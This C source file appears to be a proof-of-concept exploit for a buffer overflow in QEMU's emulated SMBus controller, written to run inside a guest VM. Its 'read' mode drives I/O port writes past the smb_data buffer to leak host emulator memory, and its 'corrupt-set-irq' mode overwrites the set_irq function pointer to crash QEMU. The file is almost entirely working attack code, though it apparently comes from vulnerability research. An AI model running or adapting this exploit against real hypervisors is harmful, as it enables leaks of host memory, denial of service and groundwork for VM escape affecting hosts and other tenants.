/*
* Derived from PC SMBus implementation in QEMU v3.1.0-rc4.
*
* Copyright (c) 2006 Fabrice Bellard
* Copyright (c) 2018 Michael Hanselmann
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License version 2 as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, see
* .
*/
#ifdef _POSIX_C_SOURCE
#undef _POSIX_C_SOURCE
#endif
#define _POSIX_C_SOURCE 200809L
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define PM_SMBUS_MAX_MSG_SIZE 32
#define SMBHSTSTS 0x00
#define SMBHSTCNT 0x02
#define SMBHSTCMD 0x03
#define SMBHSTADD 0x04
#define SMBHSTDAT0 0x05
#define SMBHSTDAT1 0x06
#define SMBBLKDAT 0x07
#define SMBAUXCTL 0x0d
#define CTL_INTREN (1 << 0)
#define CTL_KILL (1 << 1)
#define CTL_LAST_BYTE (1 << 5)
#define CTL_START (1 << 6)
#define CTL_PEC_EN (1 << 7)
#define PROT_QUICK 0
#define PROT_BYTE 1
#define PROT_BYTE_DATA 2
#define PROT_WORD_DATA 3
#define PROT_PROC_CALL 4
#define PROT_BLOCK_DATA 5
#define PROT_I2C_BLOCK_READ 6
#define AUX_PEC (1 << 0)
#define AUX_BLK (1 << 1)
#define AUX_MASK 0x3
struct PMSMBus {
void *smbus;
void *_dummy_io;
uint8_t smb_stat;
uint8_t smb_ctl;
uint8_t smb_cmd;
uint8_t smb_addr;
uint8_t smb_data0;
uint8_t smb_data1;
uint8_t smb_data[PM_SMBUS_MAX_MSG_SIZE];
uint8_t smb_blkdata;
uint8_t smb_auxctl;
uint32_t smb_index;
/* Set by pm_smbus.c */
void (*reset)(struct PMSMBus *s);
/* Set by the user. */
bool i2c_enable;
void (*set_irq)(struct PMSMBus *s, bool enabled);
void *opaque;
/* Internally used by pm_smbus. */
/* Set on block transfers after the last byte has been read, so the
* INTR bit can be set at the right time. */
bool op_done;
};
static unsigned int pc_smbus_base_port;
/*
* Parse /proc/ioports and find base I/O port for device with given name.
*/
static int find_base_port(const char **names)
{
int result = -1;
FILE *stream = NULL;
char *line = NULL;
size_t len = 0;
ssize_t nread;
unsigned int from = 0, to = 0;
int ret;
stream = fopen("/proc/ioports", "r");
if (stream == NULL) {
perror("fopen");
exit(EXIT_FAILURE);
}
while ((nread = getline(&line, &len, stream)) != -1) {
char *ptr = line;
char *newline;
int pos = 0;
for (; isspace(*ptr); ++ptr);
// I/O port range
ret = sscanf(ptr, "%04x-%04x%n", &from, &to, &pos);
if (ret < 0 || ret == EOF || ret != 2) {
continue;
}
ptr += pos;
for (; isspace(*ptr); ++ptr);
if (*ptr != ':') {
continue;
}
++ptr;
for (; isspace(*ptr); ++ptr);
// Strip newline
if ((newline = strchr(ptr, '\n')) != NULL) {
*newline = '\0';
}
for (const char **n = names; *n; ++n) {
if (strcmp(ptr, *n) == 0) {
result = from;
break;
}
}
}
out:
free(line);
fclose(stream);
return result;
}
static void set_auxblk(const uint8_t enable)
{
int8_t before;
before = inb(pc_smbus_base_port + SMBAUXCTL);
outb((before & ~AUX_BLK) | (enable ? AUX_BLK : 0),
pc_smbus_base_port + SMBAUXCTL);
}
static int8_t get_smb_addr()
{
return inb(pc_smbus_base_port + SMBHSTADD);
}
static void set_smb_addr(const uint8_t value)
{
outb(value, pc_smbus_base_port + SMBHSTADD);
}
static void set_smb_ctl(const uint8_t value)
{
outb(value, pc_smbus_base_port + SMBHSTCNT);
}
static void set_smb_data0(const uint8_t value)
{
outb(value, pc_smbus_base_port + SMBHSTDAT0);
}
static void set_smb_blkdata(const uint8_t value)
{
outb(value, pc_smbus_base_port + SMBBLKDAT);
}
static int8_t get_smb_blkdata()
{
return inb(pc_smbus_base_port + SMBBLKDAT);
}
// Bring emulation into known-good state
static void smb_reset()
{
set_smb_ctl(0);
set_smb_data0(0);
// Set s->smb_index to 0
set_smb_ctl(CTL_KILL);
// Reset status flags
set_auxblk(1);
outb(0xFF, pc_smbus_base_port + SMBHSTSTS);
set_auxblk(0);
// Write mode for setting s->op_done
set_smb_addr(0);
// Force s->op_done to false. Required to enter vulnerable code in
// "smb_ioport_writeb".
set_smb_ctl((PROT_BLOCK_DATA << 2) | CTL_START | CTL_INTREN);
}
static int read_data(const int offset, const int length)
{
if (offset < 1) {
fprintf(stderr, "min offset 1\n");
return EXIT_FAILURE;
}
smb_reset();
// Read mode
set_smb_addr(0x01);
uint32_t cur_index = 0;
for (int pos = 0; pos < length; ++pos) {
if (cur_index > 0) {
set_smb_data0(0);
}
// Navigate to offset (unfortunately O(n^2))
for (; cur_index < (offset + pos); ++cur_index) {
// Ensure comparison between s->smb_index and s->smb_data0 is not true
switch (cur_index) {
case 0:
set_smb_data0(0xFF);
break;
case 1:
set_smb_data0(0);
break;
}
// Increment s->smb_index by one, reset status flags
outb(0xFF, pc_smbus_base_port + SMBHSTSTS);
}
// Read byte
const uint8_t val = get_smb_blkdata();
fputc(val, stdout);
if ((pos % 16) == 0) {
fflush(stdout);
}
if (cur_index >= PM_SMBUS_MAX_MSG_SIZE) {
// Reading data has reset index
cur_index = 0;
set_smb_data0(0xFF);
}
}
return 0;
}
static int write_corrupt_set_irq()
{
const uint32_t target_offset =
offsetof(struct PMSMBus, set_irq) - offsetof(struct PMSMBus, smb_data);
smb_reset();
uint32_t cur_index = 0;
// Payload
set_smb_blkdata('A');
// Write mode
set_smb_addr(0);
// Take branch not modifying or copying smb_blkdata in "smb_ioport_writeb"
set_smb_ctl(PROT_I2C_BLOCK_READ << 2);
// Move s->smb_index to target offset
for (; cur_index < (target_offset - 1); ++cur_index) {
set_smb_data0(cur_index + 1);
// Increment s->smb_index by one, reset status flags
outb(0xFF, pc_smbus_base_port + SMBHSTSTS);
}
// Ensure condition doesn't match
set_smb_data0(cur_index - 1);
// Write byte to target offset, will lead to segmentation fault when calling
// s->set_irq at end of "smb_ioport_writeb"
outb(0xFF, pc_smbus_base_port + SMBHSTSTS);
return 0;
}
static void usage(const char *program)
{
fprintf(stderr,
"Read starting at given offset and write to stdout:\n"
"%1$s read \n"
"\n"
"Corrupt function pointer and crash QEMU:\n"
"%1$s corrupt-set-irq\n",
program);
exit(EXIT_FAILURE);
}
int main(int argc, char **argv)
{
const char * candidates[] = {
// "-machine pc"
"piix4_smbus",
// "-machine q35" after unloading "i2c_i801" module
"0000:00:1f.3",
NULL,
};
int ret;
ret = find_base_port(candidates);
if (ret < 0) {
fprintf(stderr, "Base port not found\n");
return EXIT_FAILURE;
}
pc_smbus_base_port = ret;
ret = ioperm(pc_smbus_base_port, 64, 1);
if (ret < 0) {
perror("ioperm");
return EXIT_FAILURE;
}
int offset, length;
if (argc == 4 && strcmp(argv[1], "read") == 0) {
offset = atoi(argv[2]);
length = atoi(argv[3]);
return read_data(offset, length);
}
if (argc == 2 && strcmp(argv[1], "corrupt-set-irq") == 0) {
return write_corrupt_set_irq();
}
usage(argv[0]);
return EXIT_FAILURE;
}
/* vim: set sw=2 sts=2 et : */